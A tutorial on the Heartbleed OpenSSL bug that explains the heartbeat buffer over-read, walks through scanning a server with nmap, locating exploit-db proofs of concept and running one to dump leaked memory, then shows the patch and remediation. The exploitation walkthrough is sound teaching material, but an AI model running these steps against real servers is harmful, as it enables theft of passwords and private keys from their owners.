Heartbleed for Attacking OpenSSL

HeartBleed is a bug in the OpenSSL library that allows users to access restricted memory addresses on a server. This enables unprivileged users to reach data to which they wouldn’t usually have access. This data includes confidential information such as usernames and passwords, along with a server’s private key.

Stats:
Affected Software: OpenSSL
Released: 1 February 2012
CVE Identifier: CVE-2014-0160
Patched: April 2014
Cause: Missing Input Validation

Preface

Let’s quickly define a few terms necessary for understanding HeartBleed.

SSL/TLS

Transport Layer Security (TLS) is the Secure Socket Layer (SSL) successor. It is a cryptographic protocol designed to secure communications between computers. It is a widely used protocol popularly known for its use to secure HTTPS. SSL and TLS aim to prevent eavesdropping and data tampering. It uses asymmetric cryptography to negotiate symmetric keys to encrypt user sessions.

OpenSSL

OpenSSL is a popular cryptographic library that provides developers with tools and resources to implement SSL/TLS protocols. It is a full-featured and robust Open Source Toolkit based on full-strength general-purpose cryptography. In addition, the project contains a command-line tool that can perform operations such as generating X.509 certificates, encrypting messages, or handling S/MIME signed mail.

SSL/TLS Heartbeat Extension

According to RFC 6520, SSL/TLS must implement a heartbeat extension. The extension allows the usage of a keep-alive function without performing a session renegotiation. Though TLS is based on reliable protocols, there isn’t a feature to keep a connection alive without continuous renegotiation and data transfer. Therefore, the Heartbeat extension to TLS sought to reduce the data demanded per user. It does this by sending heartbeat requests and responses between the client and server. In short, a heartbeat function is a keep-alive operation to ensure a session is still in use.

Buffer Over-Read

A buffer over-read is a flaw in the code of a program where a data read operation from a buffer overruns the buffer’s boundary and reads adjacent memory. This error is a violation of memory safety. Attackers can craft malicious payloads to trigger the vulnerability. Its root cause is a lack of bounds checking when reading a system’s memory. Buffer over-reads are the basis of many software vulnerabilities and can be maliciously exploited to access privileged information. In general, memory safety exploits are a relatively common attack in the C languages, which is what the core library of OpenSSL 1.0.1 is implemented in.

HeartBleed

HeartBleed is a buffer over-read bug in the OpenSSL software. It is not a direct flaw of SSL/TLS specifications. Instead, it gets the name HeartBleed due to an exploit found within the heartbeat extension. The code flaw allows a read operation beyond its intended memory boundary and is ultimately caused by a lack of user input validation.

Let’s start by looking at the HeartbeatMessage struct to understand what’s going on.

struct {
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   } HeartbeatMessage;

The HeartbeatMessageType field can be a 1, for a heartbeat request or a 2 for a heartbeat reply. Moreover, the payload shown above can be arbitrary data, which means it can be anything the sender fills it with.

If we look at the code implementation, we can see the faulty operation.

int
tls1_process_heartbeat(SSL *s)
{
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned int payload;
...
unsigned char *buffer, *bp;
...
/* 
The code attempts to copy the payload from the request and place it into the reponse package. If the payload legnth is greater than the request package, memcpl will copy the memory behind the package into the response. This will enable a hacker to extract application data.
*/
// 'bp'      The output buffer.
// 'pl'      The input buffer.
// 'payload' The length of the payload. 
memcpy(bp, pl, payload); /* NO INPUT VALIDATION */
...
}

Analysis

memcpy is short for memory copy and is responsible for copying a memory block from one location to another. In this case, we are telling it to copy a payload number of bytes from the original message to the processed response message. As we know from RFC 6520, it needs to match the incoming heartbeat request exactly.

"When a HeartbeatRequest message is received and sending a
HeartbeatResponse is not prohibited as described elsewhere in this
document, the receiver MUST send a corresponding HeartbeatResponse
message carrying an exact copy of the payload of the received
HeartbeatRequest."

RFC 6520

Essentially, the RFC requires the server to send back the same payload it receives. To exploit the flaw, an attacker provides a payload length larger than the amount of the data it sends. For example, we create a request with a payload length of 64k bytes but only provide 8k bytes of data. The server will copy the 8 bytes of data, but memcpy will carry on copying until it hits the 64k bytes specified. So, where do the extra bytes come from? It will be whatever is in the subsequent memory blocks of the computer.

The lack of input validation and the discrepancy between payload size and actual data causes this attack to work. If an attacker is lucky, the subsequent bytes of memory could contain usernames, passwords, data from previous sessions, or encryption keys. Often, an assailant runs the attack many times over until they find what they are looking for. Since a heartbeat message will be relatively frequent by nature, the traffic itself will not look suspicious.

Exploit in Practice

Let’s look at a real server running a vulnerable version of OpenSSL.

Spin up a virtual machine still using the vulnerable version of the OpenSSL library. In reality, a hacker would most likely find a server using Shodan that’s still implementing the vulnerable software. We launch an Nmap scan using the --vuln NSE argument to ensure the server is vulnerable.

└─$ nmap 54.195.11.148 -sV --script vuln    
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       http://cvedetails.com/cve/2014-0160/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160                                                                                                                                                                                                                                               

Nmap confirms target is vulnerable. From here, we can use Searchsploit to find any published PoC exploits or find the exploit over Metasploit.

SearchSploit

We can run a search for HeartBleed to see what code there is in the Exploit Database repo.

└─$ searchsploit HeartBleed
-------------- ---------------------------------
 Exploit Title |  Path
-------------- ---------------------------------
OpenSSL 1.0.1 | multiple/remote/32764.py
OpenSSL TLS H | multiple/remote/32745.py
OpenSSL TLS H | multiple/remote/32791.c
OpenSSL TLS H | multiple/remote/32998.c
-------------- ---------------------------------
Shellcodes: No Results

We can see that there is a Python 32764.py PoC. Let’s go ahead and run the first python script on the list.

└─$ python 32764.py www.weakServer.com                                             
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0300, length = 94
 ... received message: type = 22, ver = 0300, length = 885
 ... received message: type = 22, ver = 0300, length = 331
 ... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=Secre
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  tInformationGoes
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D AC  RightHere.f.44.s
  0160: B4 30 BA 5F CA 5C 77 A1 0C 4A 97 B0 92 7C 32 99  .0._.\w..J...|2.

As we can see, the server is indeed leaking information.

Remediation

Let’s take a look at how OpenSSL fixed the bug. First, let’s look at a few more points from RFC 6520.

If the payload_length of a received HeartbeatMessage is too large,
   the received HeartbeatMessage MUST be discarded silently.

If a received HeartbeatResponse message does not contain the expected
   payload, the message MUST be discarded silently.  If it does contain
   the expected payload, the retransmission timer MUST be stopped.

RFC 6520

With this in mind, we can see how the project added input validation to fix the problem.

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->relent) // Ensure heartbeat isn't 0 KB
return 0; // silently discard per RFC 6520 sec. 4
...
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length) // validate input length.
return 0; // silently discard per RFC 6520 sec. 4
pl = p;
...

As you can see, adding input validation clears up the problem. Maliciously crafted data is silently rejected and no longer delivers protected information to the attacker.

This now puts the code in compliance with RFC 6520

Conclusion

We have seen how HeartBleed may be used to compromise secret information on a server. If you discover that a server under your control is vulnerable, you must immediately update the software. Importantly, you need to update all SSL certificates the server implements and reset all stored passwords. Finally, assume compromisation of all information stored on the server and begin remediation.

Back To Top